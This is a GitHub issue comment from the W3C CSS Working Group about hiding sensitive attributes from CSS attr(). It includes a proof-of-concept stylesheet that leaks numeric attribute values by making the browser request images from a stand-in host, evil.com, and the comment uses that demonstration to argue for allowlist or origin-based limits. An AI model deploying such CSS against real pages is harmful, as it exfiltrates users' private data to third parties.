Re: [csswg-drafts] [selectors][css-values] Hide "sensitive" attributes from CSS (#5136)

We're not quite there yet in terms of browser support, but in theory you could exfiltrate numerics without JavaScript too.

```css
div[secret] {
    background-image: image-set(
        "http://evil.com/2.png" 1dpi,
        "http://evil.com/0.png" calc(mod(attr(secret integer), 2) * 10000dpi)); 
}

@counter-style evil {
    system: symbolic;
    symbols: url(http://evil.com/0.png), url(http://evil.com/1.png)...
}
div[secret]::before {
    counter-reset: foo attr(secret integer);
    content: counter(foo, evil);
}
```

The first should request "2.png" if the value is modulus 2, "0.png" otherwise. With some prime factors, enough backgrounds and browser support for `image-set` and `mod`, you could work out a numeric value. The second won't work because no-one has implemented images for counters yet.

I haven't figured out how to do it for strings yet, but I'm eyeing up @bkardell's "switch" (https://github.com/w3c/csswg-drafts/issues/5009#issuecomment-625478736) and similar proposals. With a suitable font, being able to change the background-image based on an element's width would allow you to sniff the letters in generated content.

So yes I agree something needs fixing here. A few thoughts on your proposal.

* `attr(nnn url)` is seen quite a bit in various print+css engines with both `target-text` and `target-counter`, to include details about where an internal hyperlink is pointing in the text. If a allowlist is used, perhaps we could add `attr(href string)` and `attr(href url)` to it?
```html
a[href]::after {
    content: "(Chapter " target-counter(attr(href url), chapter)) ", " target-text(attr(href url)) ")";
}
<p>See <a href="#chap-foo">here</a> for more</p>
<h1 id="chap-foo">Animals</h1>
```
```html
See here (Chapter 4, Animals)
```


* For reference, other examples I've seen used that wouldn't be caught by your allowlist include:
   *  `margin-top: calc(attr(data-position) * 20mm);`
   *  `meta[author]   { string-set: author attr(author) }`
   *  `background-image: image(attr(image url));`
   *  `bookmark-label: attr(data-bookmark string);`

* As an alternative to managing an allowlist, what about allowing an exemption based on origin? For example, just prevent stylesheets served from a different origin from accessing the `attr()` function, or only allow them to do so for `attr(foo string)` in the `content` property. This would let authors do the neat things they've asked for to their own documents, while preventing third-parties from exfiltrating data.



-- 
GitHub Notification of comment by faceless2
Please view or discuss this issue at https://github.com/w3c/csswg-drafts/issues/5136#issuecomment-637387091 using your GitHub account

Received on Tuesday, 2 June 2020 08:40:37 UTC